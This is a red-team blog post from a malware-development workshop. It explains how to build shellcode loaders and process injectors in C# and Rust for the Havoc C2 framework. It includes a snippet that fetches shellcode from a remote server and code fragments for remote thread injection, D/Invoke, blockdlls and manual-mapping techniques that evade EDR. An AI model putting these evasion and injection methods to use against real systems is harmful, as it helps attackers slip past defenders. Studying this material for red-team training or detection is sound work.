---
description: 'Post Created: 15 May, 2023'
---

# Exploring Dynamic Invocation for Process Injection in C# and Rust

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FmbFp0RlYbaakdsLa7m6w%2FInjection.png?alt=media&#x26;token=05aeb0cb-915b-4b54-85a9-ed31ff2a6978" alt="" width="375"><figcaption></figcaption></figure>

## Background

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FyuOxlSBDeVhookeapeeG%2Fx0rry%20Workshop%20Campus%20TV.png?alt=media&#x26;token=ed148998-1813-4a93-abb6-e93af2104b1c" alt=""><figcaption><p>Pilot - Behind the Scenes of Red Team Ops: Havoc 101</p></figcaption></figure>

A while ago, I (w/ [@pikaroot](https://pikaroot.github.io/)) conducted a Red Teaming/Malware Development workshop titled "[Red Team Ops: Havoc 101](https://github.com/WesleyWong420/RedTeamOps-Havoc-101)" before graduating from university. As a fan of The Last of Us, I developed a series of thematic Process Injector/Shellcode Loader named after different Infected variants from the series to work with [Havoc Framework](https://github.com/HavocFramework/Havoc). This blogpost will cover the thought process behind developing them and techniques implemented to evade detection.

{% hint style="warning" %}
This walkthrough is meant for beginners in Malware Development. If you're a seasoned and experienced MalDev, I suggest turning back for the sake of your time.
{% endhint %}

<div align="center"><figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FaBo39N8rGRKiYl6Gcgad%2Fimage.png?alt=media&#x26;token=515c5c5c-b7db-4fd0-b7af-fe4360fdc930" alt=""><figcaption><p>HBO The Last of Us - Episode 5</p></figcaption></figure></div>

## Disclaimer

While preparing for this workshop, I was in the middle of studying [Red Team Ops II](https://training.zeropointsecurity.co.uk/courses/red-team-ops-ii) (Certified Red Team Lead) course by Zero-Point Security. Therefore, a lot of the development ideas are heavily borrowed and inspired by the course itself.&#x20;

Special thanks to:

* [@RastaMouse](https://twitter.com/_RastaMouse) - Ideas, Inspiration & Minified D/Invoke
* [@C5pider](https://twitter.com/c5pider) - Havoc Framework
* [@EthicalChaos](https://twitter.com/_EthicalChaos_) - SylantStrike
* [@Joe Helle](https://twitter.com/joehelle) - Active Directory Lab (Movement, Pivoting and Persistence)

## Introduction

Just like the Cordyceps from The Last of Us, all five Process Injectors are introduced progressively with added functionalities and improvements to them. Note that, the goal of this project IS NOT about creating a FUD malware with advanced evasion techniques such as AES Encryption, Polymorphism or Sandbox Evasion. It is instead focused on removing OPSEC indicators that may be flagged or raise suspicion.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FTcBOQQcaQ5RXKLGHafnO%2FInfected%20Cycle.png?alt=media&#x26;token=8f050c1f-40ca-405e-a7a2-d15eedbdcf53" alt=""><figcaption></figcaption></figure>

## Runner: The Baseline

Starting from scratch, I used a list of questions as a baseline to build up the specifications for `Runner`:

* **Programming Language** - Access to Windows API?
* **Shellcode Delivery** - Hardcoded or Fetch Remotely?&#x20;
* **Victim Process** - Current or Remote Process?
* **Injection Technique** - Classic Injection or Advanced? (e.g. EarlyBird, Hell's Gate)

### Programming Language

For the choice of programming language, I decided to go with C# because of my incompetency in C++ :clown:. Since C# is considered managed code, we need to leverage Platform Invoke (P/Invoke) provided by the `System.Runtime.InteropServices` namespace to invoke Windows API. If you are new to this concept, check out this [blog](https://medium.com/specter-ops-posts/offensive-p-invoke-leveraging-the-win32-api-from-managed-code-7eef4fdef16d) by Matt Hand @ SpecterOps.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F4y2NqqKUzzMTn9bfej0L%2Fimage.png?alt=media&#x26;token=b853cc20-4b20-4dd1-9ec9-54f3d872b867" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/dotnet/framework/interop/consuming-unmanaged-dll-functions">https://learn.microsoft.com/en-us/dotnet/framework/interop/consuming-unmanaged-dll-functions</a></p></figcaption></figure>

The usual way of using P/Invoke in C#:

```csharp
[DllImport("kernel32.dll", EntryPoint = "OpenProcess", SetLastError = true)]
public static extern IntPtr fnOpenProcess(
        ProcessAccessFlags dwDesiredAccess,
        bool bInheritHandle,
        UInt32 dwProcessId);
```

This however comes with it's own OPSEC implications, because any reference to a Windows API call made through P/Invoke will result in a corresponding entry in the .NET Assembly’s Import Address Table (IAT).&#x20;

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FxH9niVAaLoUN5k9RhiXi%2FRunner%20IAT.png?alt=media&#x26;token=7f9be0d2-f961-40ae-86c1-08669e25b26f" alt=""><figcaption></figcaption></figure>

This static reference is of course an added advantage if you're using Windows API for legitimate purposes because the application does not need to actively locate the function before calling it, thereby saving time and resources.&#x20;

As a Malware Developer, this can be used against us, since Malware Analysts and automated security tools commonly inspect the IAT of executables via IAT hooking to learn about their behavior.&#x20;

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F5AKqxJBBP0jNI4rzcKJH%2Fimage.png?alt=media&#x26;token=81e8114a-522b-4b08-8c12-744506e54fe7" alt=""><figcaption><p><a href="https://www.ired.team/offensive-security/code-injection-process-injection/import-adress-table-iat-hooking">https://www.ired.team/offensive-security/code-injection-process-injection/import-adress-table-iat-hooking</a></p></figcaption></figure>

{% hint style="success" %}
To circumvent IAT hooking, this implementation will be improved further later on for `Stalker` using Dynamic Invocation.
{% endhint %}

### Shellcode Delivery

Traditionally, Malware Developers hardcode AES/XOR or even RC4 encrypted shellcode within the executable to evade detection, like the following:

```cpp
// Raw Shellcode
unsigned char shellcode[] = { 0x48, 0x65, 0x6c, 0x6c, 0x6f };

// Encrypted RC4
unsigned char shellcode[] = { 0x41, 0xd6, 0xaa, 0x12, 0x8e };
```

However, this also introduces an unnecessary amount of entropy to it, which increases the odds of detection if the entropy value is over a threshold.

<mark style="color:yellow;">**Encryption = Higher Entropy = More Randomness = Lower Compression**</mark>

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F8bqwvyOm7YLX1GcDCD7G%2Fimage.png?alt=media&#x26;token=e66709af-ec21-476c-a0df-4234f0796fae" alt=""><figcaption></figcaption></figure>

To avoid all the fuss with entropy detection, we're going to stage our shellcode on a remote server, then fetch it at runtime.&#x20;

```csharp
byte[] shellcode = { };

using (var handler = new HttpClientHandler())
{
    handler.ServerCertificateCustomValidationCallback = (message, cert, chain, sslPolicyErrors) => true;

    using (var client = new HttpClient(handler))
    {
        try
        {
            shellcode = await client.GetByteArrayAsync(urlPath);
        }
        catch
        {
            Process.GetCurrentProcess().Kill();
        }
    }
}
```

{% hint style="warning" %}
Depending on your scenario, you might want to avoid fetching shellcode remotely because the HTTPS connection may serve as an Indicator of Compromise (IoC). It is also not feasible if the target network has no outbound Internet connection.
{% endhint %}

### **Victim Process**

#### Local vs Remote

Personally speaking, there is no certain answer as to which is better between Local and Remote Process Injection. I believe what is being presented here is a give-and-take scenario, as each of the methods comes with its own OPSEC considerations.&#x20;

Often times, it can be difficult to avoid certain bad practices, therefore the ideal way in my opinion is to go with the one with minimal or tolerable OPSEC indicators. To accommodate such requirements, all Process Injectors in this blogpost will have the option to either inject locally or remotely.

<details>

<summary>Local Process Injection</summary>

<mark style="color:green;">**Pros:**</mark>

* Occurs entirely in the current process, and therefore does not require handles to remote processes.

<mark style="color:red;">**Cons:**</mark>

* Requires extra effort to blend in.
* Loader must stay alive for back-and-forth C2 connection.

</details>

<details>

<summary>Remote Process Injection</summary>

<mark style="color:green;">**Pros:**</mark>

* Loader injects C2 implant shellcode to remote process and exits immediately.
* Extra flexibility when it comes to victim process selection. Freedom to inject into legitimate processes like Teams, Discord & Slack to blend into traffic.
* Compatible with behavioral evasion techniques like PPID Spoofing.

<mark style="color:red;">**Cons:**</mark>

* Suspicious memory allocation to remote processes.
* Requires handles to remote processes.

</details>

### **Injection Technique**

There are a ton of fancy injection techniques out there such as Asynchronous Procedure Call (APC), Process Hollowing, Process Herpaderping and many more, but for the sake of simplicity, we will use the most classic method. This technique is fairly straightforward and self-explanatory based on the API names themselves, so I won't be discussing it in detail.

```csharp
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
    IntPtr hProcess,
    IntPtr lpAddress,
    uint dwSize,
    AllocationType flAllocationType,
    MemoryProtection flProtect);
```

```csharp
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
    IntPtr hProcess,
    IntPtr lpBaseAddress,
    byte[] lpBuffer,
    int nSize,
    out IntPtr lpNumberOfBytesWritten);
```

```csharp
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(
    IntPtr hProcess,
    IntPtr lpAddress,
    uint dwSize,
    MemoryProtection flNewProtect,
    out MemoryProtection lpflOldProtect);
```

```csharp
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr CreateRemoteThread(
    IntPtr hProcess,
    IntPtr lpThreadAttributes,
    uint dwStackSize,
    IntPtr lpStartAddress,
    IntPtr lpParameter,
    uint dwCreationFlags,
    out IntPtr lpThreadId);
```

For more advanced process injection techniques, check out [Red Team Notes](https://www.ired.team/offensive-security/code-injection-process-injection).

{% embed url="https://www.ired.team/offensive-security/code-injection-process-injection" %}

### Tool Processing

Before delivering the tool, we can also strip off any additional static indicators like debugging symbols to prevent tracing back to us.&#x20;

#### Debug Symbols

One of the common mistakes that is often overlooked is having your home directory embedded in the executable. This is terrible OPSEC because there is a chance that your custom tooling may be instantly flagged if it matches any past occurrences from VirusTotal (assuming you are a well-known & tracked actor) despite having cutting-edge evasion tactics implemented.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FTjxBoxaWiqinFpzGQdH8%2FDebugging%20OPSEC.png?alt=media&#x26;token=c619d407-2516-4c90-81d5-0736a4f66cb8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F7lQ4NKTW93HUzmghoBLE%2FPEBear%20Debugging%20Symbols.png?alt=media&#x26;token=43a1521d-a641-4a4b-8bef-5290324e5afe" alt=""><figcaption></figcaption></figure>

It is actually not that hard to strip debugging symbols. Simply compile your program in `Release` mode.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FfYnEy8vNxCDHLihUp7zr%2FDisable%20Debugging.png?alt=media&#x26;token=1b63f294-2a0b-49d7-8dd7-2e0266e65abc" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
You can also clone metadata from a legitimate application, and apply time stomping so that the file blends in with your pre-text.
{% endhint %}

### Detection

As mentioned earlier, IAT hooking can be implemented to detect `Runner`. However, the most simplest approach in this case would be to monitor the usage of Win32 API using [API Monitor by rohitab](http://www.rohitab.com/apimonitor).

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FEDnSKTA212URD4d46DAD%2Fimage.png?alt=media&#x26;token=66cf233a-b99b-4b6d-b313-f0eb309ee645" alt=""><figcaption></figcaption></figure>

## Stalker: The Unseen

As the successor from previous stage, `Stalker` is improved in different ways using: Dynamic Invocation & leveraging native APIs.

### Dynamic Invocation

Rather than statically importing API calls with P/Invoke, [Dynamic Invocation](https://github.com/TheWover/DInvoke) (D/Invoke) can be used to load the Windows DLLs e.g. `kernel32.dll` & `ntdll.dll` at runtime and call it's exported functions, thereby bypassing API hooking, specifically IAT hooking. Read more about D/Invoke [here](https://thewover.github.io/Dynamic-Invoke/).

The usual way of using D/Invoke in C#:

```csharp
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate NTSTATUS NtAllocateVirtualMemory(
    IntPtr processHandle,
    ref IntPtr baseAddress,
    IntPtr zeroBits,
    ref IntPtr regionSize,
    AllocationType flAllocationType,
    MemoryProtection flProtect);
    
var fPtr = Generic.GetLibraryAddress("ntdll.dll", "NtAllocateVirtualMemory");
NtAllocateVirtualMemory fnNtAllocateVirtualMemory = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(NtAllocateVirtualMemory)) as NtAllocateVirtualMemory;
var status = (NTSTATUS)fnNtAllocateVirtualMemory(
    target.Handle,
    ref baseAddress,
    IntPtr.Zero,
    ref regionSize,
    AllocationType.Commit | AllocationType.Reserve,
    MemoryProtection.ExecuteReadWrite);
```

As red team tradecraft advances over the years, D/Invoke is now a well-known technique, resulting in the original version of D/Invoke by [TheWover](https://github.com/TheWover/DInvoke) to be heavily signatured.&#x20;

Ideally, we want to use a custom version of D/Invoke for a cleaner detection result, but for the sake of simplicity, we can opt for a minified version of D/Invoke by [RastaMouse](https://github.com/rasta-mouse/DInvoke). Simply import all the source files into the project or add `DInvoke.dll` as a reference to the project.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2Fi73BwPvYaNrG702wiWiy%2Fimage.png?alt=media&#x26;token=ed016c90-e5a1-4408-8f13-f631bb60feef" alt=""><figcaption></figcaption></figure>

Upon compilation, Visual Studio will spit out both `.exe` and `.dll` files. This is obviously non-ideal if we want to deliver a single executable file to our victim.&#x20;

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FwaiHUdGMpFJqYRQHxOBA%2Fimage.png?alt=media&#x26;token=08eafaa4-6e90-40f7-aa0b-83ae31fb2a5c" alt=""><figcaption></figcaption></figure>

This also means that the executable will not function properly if the `.dll` file it depends on is missing from the same directory.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FRkwkOzbhApCV6ogihrAf%2Fimage.png?alt=media&#x26;token=bc51e5bc-3c39-4d8d-894f-fed160015b0b" alt=""><figcaption></figcaption></figure>

To solve this issue, install a dependency merger like `dnMerge` or `Fody` to statically link two files together.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2Fv6skOrM4mRhBKhIfGAXq%2Fimage.png?alt=media&#x26;token=04f418d8-22bc-4553-9290-62bee616114b" alt=""><figcaption></figcaption></figure>

### Native API

From a user-land perspective, there is no real benefit to call kernel32 level API when Native API is still within our reach. At the end of the day, Win32 API like `VirtualAllocEx` will end up calling `NtAllocateVirtualMemory` which is its equivalent API in the native level.

<details>

<summary>Win32 API Process Injection</summary>

```csharp
VirtualAllocEx() ---> WriteProcessMemory() ---> VirtualProtectEx() ---> CreateRemoteThread()
```

</details>

Assuming that you have an (outdated) EDR that still apply hooks on the Win32 level, leveraging Native API is the simplest way you can bypass the hooks without any fancy evasion tactics.&#x20;

<details>

<summary>Native API Process Injection</summary>

```csharp
NtAllocateVirtualMemory() ---> NtWriteVirtualMemory() ---> NtProtectVirtualMemory() ---> NtCreateThreadEx()
```

</details>

{% hint style="info" %}
Most Native API are undocumented in MSDN. You can instead rely on [DInvoke.net](https://dinvoke.net/), [Undocumented NTInternals](http://undocumented.ntinternals.net/index.html) or [ReactOS Source](https://doxygen.reactos.org/index.html) to obtain the API signature.
{% endhint %}

### Detection&#x20;

On top of IAT Hooking, EDR also frequently implements **Inline Hooking**. A major difference between the two is that IAT takes place in the Import Address Table, while Inline Hooking occurs within DLL modules that are loaded during process startup.

Before Inline Hooking is implemented, the assembly code for all Native APIs follows a similar structure known as a **Syscall Stub** with the following opcode:

```asm6502
mov r10, rcx
mov eax, 0C7H <--- SSN
syscall
ret
```

The only difference that you may notice is the value of **System Service Number (SSN)**, which governs the type of Native API invoked.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FtOcWzoV4huviEC390vWU%2Fimage.png?alt=media&#x26;token=d0a3f015-5042-4728-bd85-eb37903a60f2" alt=""><figcaption><p>Before Inline Hooking</p></figcaption></figure>

To emulate the detection of Stalker, we will use [SylantStrike](https://github.com/CCob/SylantStrike) to place EDR hooks via Inline Hooking. Ideally, a robust EDR will have much more complex nested conditions in place to examine the legitimacy of API call, and to avoid false positives. However, for the sake of simplicity, we will have SylantStrike alert us with a MessageBox whenever a suspicious thread is created.

```cpp
DWORD NTAPI NtCreateThreadEx(OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer) {
	if (lpStartAddress == (LPTHREAD_START_ROUTINE)suspiciousBaseAddress) {

		MessageBox(nullptr, TEXT("Malicious NtCreateThreadEx usage detected! Aborting!"), TEXT("SylantStrike"), MB_OK);
		TerminateProcess(GetCurrentProcess(), 0xdead1337);
		return 0;
	}

	// False positive, call the original function as normal
	return pOriginalNtCreateThreadEx(hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, Flags, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer);
}
```

I like to call EDRs **trusted malware** because they basically leverage the same set of techniques that Malware Developers use to inject DLLs into our processes. This tampers the original structure of the Syscall Stub, and divert the application flow to an address space controlled by the EDR using a simple `jmp` instruction.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FCXg0IGAdNpaXm3l4hZjL%2Fimage.png?alt=media&#x26;token=2b0a6dae-28c7-44d0-a62c-f3746a93bfd4" alt=""><figcaption><p>After Inline Hooking</p></figcaption></figure>

To verify whether a process is injected by EDR, simply navigate to the Modules tab in Process Hacker to enumerate the presence of EDR DLLs.&#x20;

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2Fa2DUSl4flGFOkhaxenLb%2Fimage.png?alt=media&#x26;token=50edfad5-dd3d-4285-aabe-43191542ca10" alt=""><figcaption></figcaption></figure>

Another thing worth noting is that a real EDR might also take iterative steps to monitor for malicious behaviours prior to injection. In simpler words, it will not take any proactive action when abnormal memory allocation or protection modification occurs; instead, it will continue to monitor for more events before eventually terminating the process.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2Fvprkmav8sgpHWNw71XZV%2Fimage.png?alt=media&#x26;token=255152b6-18a9-4017-ab76-981ba410e2fc" alt=""><figcaption></figcaption></figure>

## Clicker: The Convoy

There are several aggressive ways to neutralize (unhook) EDR hooks, which involve patching the Native API Syscall Stub to restore it back to its original instructions. This, however, poses a detrimental risk if proceeded without caution, especially against EDRs that perform integrity checks on their hooks.

### Process Mitigation Policy (BlockDLLs)

With all these obstacles presented, what is a better way of unhooking rather than aggressive patching? - stopping EDR from injecting in the first place, using Process Mitigation Policy. Processes with this policy enabled will DENY EDRs from injecting their DLLs unless the DLLs are signed and trusted by Microsoft.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2Fq6SR8aYG8yrz4W5wD0Wh%2Fimage.png?alt=media&#x26;token=fc1f46cf-dd24-4eda-ada3-cfb689380a3d" alt=""><figcaption></figcaption></figure>

At this point, you might realize that `Clicker` is actually not a process injector, but rather a carrier that will spawn `Stalker` with Process Mitigation Policy enabled, hence the name _Convoy_.&#x20;

Using Windows API, it provides us with more granular control over the processes that we create. This is merely one of the many examples that we can play with to evade detection. Other interesting properties that exist out there includes: `CREATE_SUSPENDED`, `CREATE_NO_WINDOW` and many more that will allow you to hide in plain sight.

In this case, we will use `UpdateProcThreadAttribute` specifically to apply the `PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY` attribute to enforce blockdlls.

```csharp
const int PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x00020007;
const long PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000;

IntPtr lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteInt64(lpMitigationPolicy, PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON);

fPtr = Generic.GetLibraryAddress("kernel32.dll", "UpdateProcThreadAttribute");
Win32.UpdateProcThreadAttribute fnUpdateProcThreadAttribute = Marshal.GetDelegateForFunctionPointer(fPtr, typeof(Win32.UpdateProcThreadAttribute)) as Win32.UpdateProcThreadAttribute;
var success = fnUpdateProcThreadAttribute(
    si.lpAttributeList,
    0,
    (IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
    lpMitigationPolicy,
    (IntPtr)IntPtr.Size,
    IntPtr.Zero,
    IntPtr.Zero);
```

### Pitfalls

As this technique became more well-known and popularized, Microsoft ended blockdlls once and for all by handing out intermediate certificates to EDR vendors, allowing them to sign their DLLs so that it can be injected into processes that have Process Mitigation Policy enabled.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FNvBT8F1IC2FsVybt2u99%2Fimage.png?alt=media&#x26;token=4cbf53ff-a3fc-4a6b-8459-32115d2c4348" alt=""><figcaption></figcaption></figure>

As far as I am aware, EDR will typically inject more than one DLL to create a more robust detection. The problem is, not all DLLs of a vendor will be Microsoft-signed. While this may not allow you to circumvent EDR entirely, you might still find opportunities to impair certain functionalities of the EDR due to this defect.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FjMzMP8oYHxKLu80vGuio%2Fimage.png?alt=media&#x26;token=223c4a00-c4b1-4cd3-a58c-914b85010c97" alt=""><figcaption><p>Screenshot by <a href="https://twitter.com/Jean_Maes_1994">Jean_Maes_1994</a></p></figcaption></figure>

## Bloater: The Sovereign

To achieve a clean EDR bypass, Bloater implements Manual Mapping from D/Invoke to bypass Inline Hooking. This is a relatively safe way of circumventing EDR because the integrity of EDR hooks is not tampered with.

### Manual Mapping

Whenever a user-land process is initialized, an EDR will install hooks on the DLL modules e.g. `kernel32.dll` and `ntdll.dll` that live inside the process memory. All of this takes place before control over the process is diverted back to the user.&#x20;

Manual Mapping takes advantage of this time window to ensure that all DLLs loaded afterwards are free of EDR hooks. Instead of exporting API calls from modules that are hooked (red region), it will map a fresh copy of `ntdll.dll` from disk into the process memory at runtime. As a result, all API calls invoked from the "evil twin" of `ntdll.dll` (green region) will not be hooked, thereby bypassing EDR detection.

<img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2Fkj4hhtf2iSMc4pgKZlRx%2Ffile.excalidraw.svg?alt=media&#x26;token=4ff69523-c7e2-4b25-9c8c-90fb3fde8e97" alt="Overly simplified visualization for Manual Mapping" class="gitbook-drawing">

## RatKing: The Overlord

If our process injector falls into the hands of a Security Anlayst, it can be decompiled and reverse engineered pretty quickly using tools like [iLSpy](https://github.com/icsharpcode/ILSpy) or [dnSpy](https://github.com/dnSpy/dnSpy).&#x20;

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F5o7DYrN4CTbmHDNLabZC%2FBloater%20iLSpy.png?alt=media&#x26;token=d3380cd7-7b9f-483f-b497-f831e3c6b614" alt=""><figcaption></figcaption></figure>

We can make their life (and ours) significantly harder by porting the code from C# to Rust, because writing and decompiling Rust is quite literally brainf$ck.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FxE7IdNPPOHbxlgSRokbd%2FTLOU%20Joel%20Panic%20Attack.jpg?alt=media&#x26;token=2fd41ea0-d764-4ad6-a000-4be913d05edb" alt="" width="375"><figcaption><p>me when trying to port C# code to Rust</p></figcaption></figure>

With a clean 0/26 detection result from [antiscan.me](https://antiscan.me/), I believe the rationale behind this is due to the way Rust statically link all external crates during compilation time, which messes up all the detection signatures.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F77ZKGc58490K04fYw4t2%2FRatKing%20AntiScanMe.png?alt=media&#x26;token=e2834c6c-01a8-4de3-a665-1d227d46b308" alt="" width="435"><figcaption></figcaption></figure>

Analyzing the executable in [VirusTotal](https://www.virustotal.com/gui/file/85fff1f27a18ea0bcecf1855243bcf84e3d222cd6e7c6d4172aeaaaee014b822/detection) also shows a significantly low detection rate of 1/70. I might be wrong, but I believe that the Command Line Parser also plays a big role here. If the proper arguments are not provided from the command line, the executable will not detonate. This is known as Environmental Keying or Execution Guardrails, which could very well be the reason why sandboxes are having a hard time analyzing the file.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FrjG2tl6mEpl8kxjty6yG%2Fimage.png?alt=media&#x26;token=f6f38877-ec0e-4649-92d6-ba351d0eefd5" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
While Rust provides a clean detection result (for now), it is not even close to being as flexible as C/ASM. Ultimately, we ended up adding several external libraries for support due to the difficulty nature of Rust. This can be used as an indicator for detection in the long run.
{% endhint %}

## 2 Months Later

As the source code and compiled binaries of all Process Injectors were open-sourced on GitHub, Microsoft Defender quickly picked up on this and assigned 2 different Malware Detection Names. This is very common, as we all know by now that [Microsoft acquired GitHub](https://news.microsoft.com/announcement/microsoft-acquires-github/) for the sole purpose of collecting security intelligence :eyes:.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FLzK9dIWy1yDSvJjjnEct%2FVirTool%20MSIL%20ClickerzA!MTB.png?alt=media&#x26;token=9f0d1656-52e8-46c2-99a0-f69a299fe6d9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FqqiDxUdkAbuSgF6ONtTL%2FVirTool%20MSIL%20MSIL%20BloatarzA!MTB.png?alt=media&#x26;token=db8e8f3f-b025-4a58-a8d5-5e3f5b0aeac3" alt=""><figcaption></figcaption></figure>

## References

{% embed url="https://github.com/HavocFramework/Havoc" %}

{% embed url="https://github.com/TheWover/DInvoke#dinvoke" %}

{% embed url="https://github.com/rasta-mouse/DInvoke" %}

{% embed url="https://github.com/Kudaes/DInvoke_rs" %}

{% embed url="https://learn.microsoft.com/en-us/dotnet/framework/interop/consuming-unmanaged-dll-functions" %}

{% embed url="https://www.ired.team/offensive-security/code-injection-process-injection/import-adress-table-iat-hooking" %}

{% embed url="https://www.redteam.cafe/red-team/shellcode-injection/inmemory-shellcode-encryption-and-decryption-using-systemfunction033" %}

{% embed url="https://www.huntandhackett.com/blog/concealed-code-execution-techniques-and-detection" %}

{% embed url="https://thewover.github.io/Dynamic-Invoke/" %}
